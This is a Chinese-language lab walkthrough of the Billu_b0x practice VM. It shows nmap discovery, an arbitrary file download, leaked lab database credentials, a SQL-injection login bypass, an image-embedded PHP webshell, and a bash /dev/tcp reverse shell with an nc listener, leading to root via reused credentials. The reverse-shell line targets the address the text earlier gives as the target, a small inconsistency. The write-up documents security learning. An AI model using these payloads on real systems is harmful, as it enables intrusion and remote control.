靶機練習之Billu_b0x

靶機練習之Billu_b0x

一、前言

這個靶場算是入門級別的吧·！對於我這個小白來說還是有一定難度的。在做題過程中遇到的問題，也側面反映了自己對於web滲透認識還是不足的，，還需要更進一步的學習。

二、資訊收集

1、主機發現
Nmap掃描同子網段下的主機

nmap -sP 192.168.79.0/24

發現同網段的192.168.79.150存活主機
2、掃描埠

發現目標主機開放了22，80埠
開啟瀏覽器檢視

3、掃描網站目錄

三、漏洞發現與利用

逐一訪問之前探測出來的頁面，在訪問到test.php時，提示file為空引數，需要傳參，嘗試傳參?file=/etc/passwd，沒有響應，於是改為使用POST方法，能夠成功將passwd檔案下載下來，存在任意檔案下載。
通過審計c.php直接獲得了以下資訊：

mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");

##***直接注入***拿到index.php的原始碼，找到關鍵邏輯部分。我們看到目標先將我們輸入的單引號清除，之後再驗證登入資訊的正確性，比較特殊的是驗證順序是先密碼再賬號，怪不得之前的嘗試一直失敗，知道原始碼之後繞過就很簡單了，我們構造

    uname=or 1=1#
    pass=\

（此處為借鑑，大佬tql）
也可以在知道資料庫的賬號名和密碼（前面已經發現）後直接登陸資料庫，檢視auth表找到後臺登陸的使用者名稱和密碼

成功登入

簡單的瀏覽該網頁，發現存在檔案上傳入口，嘗試上傳shell，根據提示資訊只允許上傳圖片檔案。

進一步審計剛剛下載下來的原始碼，可以發現show user模組存在檔案包含。

上傳一張普通的照片，用bp進行攔截資料包，在圖片末尾新增GIF89A <?php system($_GET['cmd']);?> 成功上傳

反彈shell

echo "bash -i >& /dev/tcp/192.168.79.150/6767 0>&1" | bash

這裡需要留意要進行URL編碼（我在這個地方困惑了好久，導致一直無法反彈shell成功）
kali進行監聽

nc -lvp 6767

接下來進行提權，前面掃描出目標主機開放了22埠，那麼檢視相關的敏感檔案，phpMyAdmin配置檔案，發現
然後嘗試用這個root使用者和口令去連ssh，成功連線上

提權有好多種方式，這僅僅是碰巧走了一個捷徑。看了其他的wp，發現有好多的提權方式，利用msf進行提權，利用linux版本自身的漏洞進行提權等等，接下去再去實踐了。